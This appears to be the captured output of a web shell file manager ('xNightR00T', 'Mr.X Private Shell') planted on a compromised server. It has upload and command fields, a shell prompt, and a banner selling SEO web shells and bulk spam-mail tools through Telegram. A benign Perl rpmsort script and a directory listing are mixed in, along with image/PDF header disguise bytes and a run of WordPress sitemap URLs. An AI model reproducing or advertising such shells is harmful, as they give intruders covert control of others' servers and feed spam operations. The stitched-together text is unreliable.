xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#! /usr/bin/perl -w

# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307,
# USA.

use Getopt::Long qw(:config gnu_getopt);

sub do_rpm_cmp_versions {
    my ($evr1, $evr2) = @_;

    sub _rpm_cmp {
	my ($s1, $s2) = @_;

	return defined $s1 <=> defined $s2
	    unless defined $s1 && defined $s2;

	my ($r, $x1, $x2);
	do {
	    $s1 =~ s/^[^a-zA-Z0-9]+//;
	    $s2 =~ s/^[^a-zA-Z0-9]+//;
	    if ($s1 =~ /^\d/ || $s2 =~ /^\d/) {
		$s1 =~ s/^(0*(\d*))//;  $x1 = $2;
		return -1 if $1 eq '';
		$s2 =~ s/^(0*(\d*))//;  $x2 = $2;
		return 1 if $1 eq '';
		$r = length $x1 <=> length $x2 || $x1 cmp $x2;
	    } else {
		$s1 =~ s/^([a-zA-Z]*)//;  $x1 = $1;
		$s2 =~ s/^([a-zA-Z]*)//;  $x2 = $1;
		return 0
		    if $x1 eq '' && $x2 eq '';
		$r = $x1 cmp $x2;
	    }
	} until $r;
	return $r;
    }

    my ($e1, $v1, $r1) = $evr1 =~ /^(?:(\d*):)?(.*?)(?:-([^-]*))?$/;
    my ($e2, $v2, $r2) = $evr2 =~ /^(?:(\d*):)?(.*?)(?:-([^-]*))?$/;
    my $r = _rpm_cmp($e1 || 0, $e2 || 0);
    $r = _rpm_cmp($v1, $v2)
	unless $r;
    $r = _rpm_cmp($r1, $r2)
	unless $r;
    return $r;
}

my $reorder = sub { return @_ };
my $key = 0;
my $test = 0;

sub rpm_cmp_versions {
	my ($evr1, $evr2) = @_;

	chomp($evr1, $evr2);
	my $res1 = do_rpm_cmp_versions($evr1, $evr2);
	if ($test) {
		open(my $fd, '-|', 'zypper', '--terse', 'versioncmp',
			$evr1, $evr2) or die "zypper: $!\n";
		my $res2 = <$fd>;
		close($fd) or die "zypper: $!\n";
		chomp $res2;
		if ($res1 != $res2) {
			my @operators = qw(< == >);
			my $op1 = $operators[$res1 + 1];
			my $op2 = $operators[$res2 + 1];

			print STDERR "BUG: $evr1 $op1 $evr2 vs. zypper: $evr1 $op2 $evr2\n";
		}
	}
	return $res1;
}

GetOptions ("r|reverse"	    => sub { $reorder = sub { return reverse @_ } },
	    "k|key=i"	    => \$key,
	    "test"        => \$test)
or do {
    print STDERR "Usage $0 [-r, --reverse] [-k N, --key=N] [--test]\n";
    exit 1;
};

if ($key == 0) {
    # Sort by entire lines
    map { print } &$reorder(sort { rpm_cmp_versions($a, $b) } <>);
} else {
    # Sort by field $key
    my @data = map { [(split)[$key-1], $_] } <>;
    map { print } &$reorder(map { $_->[1] }
        sort { rpm_cmp_versions($a->[0], $b->[0]) } @data);
}

Filemanager

Name Type Size Permission Actions
fileattrs Folder 0755
gnupg Folder 0755
macros.d Folder 0755
platform Folder 0755
suse Folder 0755
appdata.prov File 333 B 0755
brp-compress File 2.07 KB 0755
brp-python-bytecompile File 2.96 KB 0755
brp-python-hardlink File 658 B 0755
brp-strip File 536 B 0755
brp-strip-shared File 704 B 0755
brp-suse File 275 B 0755
check-buildroot File 1.21 KB 0755
check-files File 1.07 KB 0755
check-prereqs File 418 B 0755
check-rpaths File 1.01 KB 0755
check-rpaths-worker File 4.93 KB 0755
convertdb1 File 6.26 KB 0755
debugedit File 31.91 KB 0755
debuginfo.prov File 309 B 0755
desktop-file.prov File 602 B 0755
elfdeps File 14.48 KB 0755
find-debuginfo.sh File 11.48 KB 0755
find-lang.sh File 8.26 KB 0755
find-provides File 3.47 KB 0755
find-provides.ksyms File 2.01 KB 0755
find-requires File 4.41 KB 0755
find-requires.ksyms File 1.81 KB 0755
find-supplements File 418 B 0755
find-supplements.ksyms File 2.7 KB 0755
firmware.prov File 218 B 0755
fontconfig.prov File 489 B 0755
gem_build_cleanup.sh File 667 B 0755
gem_install.sh File 7.78 KB 0755
gem_packages.sh File 1.67 KB 0755
gem_packages.template File 9.27 KB 0644
generate_buildrequires.sh File 5.35 KB 0755
libtooldeps.sh File 707 B 0755
macros File 44 KB 0644
macros.perl File 473 B 0644
macros.php File 192 B 0644
macros.python File 906 B 0644
mono-find-provides File 1.08 KB 0755
mono-find-requires File 2 KB 0755
ocaml-find-provides.sh File 1.62 KB 0755
ocaml-find-requires.sh File 2.08 KB 0755
perl.prov File 5.72 KB 0755
perl.req File 8.02 KB 0755
pkgconfigdeps.sh File 1.25 KB 0755
python-macro-helper File 635 B 0755
pythondeps.sh File 875 B 0755
rpm.supp File 688 B 0644
rpmdb_dump File 14.36 KB 0755
rpmdb_load File 26.45 KB 0755
rpmdb_loadcvt File 1.43 KB 0755
rpmdb_recover File 10.38 KB 0755
rpmdb_stat File 14.33 KB 0755
rpmdb_upgrade File 10.34 KB 0755
rpmdb_verify File 10.33 KB 0755
rpmdeps File 10.68 KB 0755
rpmdumpheader File 10.25 KB 0755
rpmpopt-4.11.2 File 9.47 KB 0644
rpmrc File 16.58 KB 0644
rpmsort File 2.76 KB 0755
rubygemsdeps.rb File 5.71 KB 0755
script.req File 322 B 0755
suse_macros File 10.55 KB 0644
symset-table File 807 B 0755
sysvinitdeps.sh File 280 B 0755
tgpg File 929 B 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml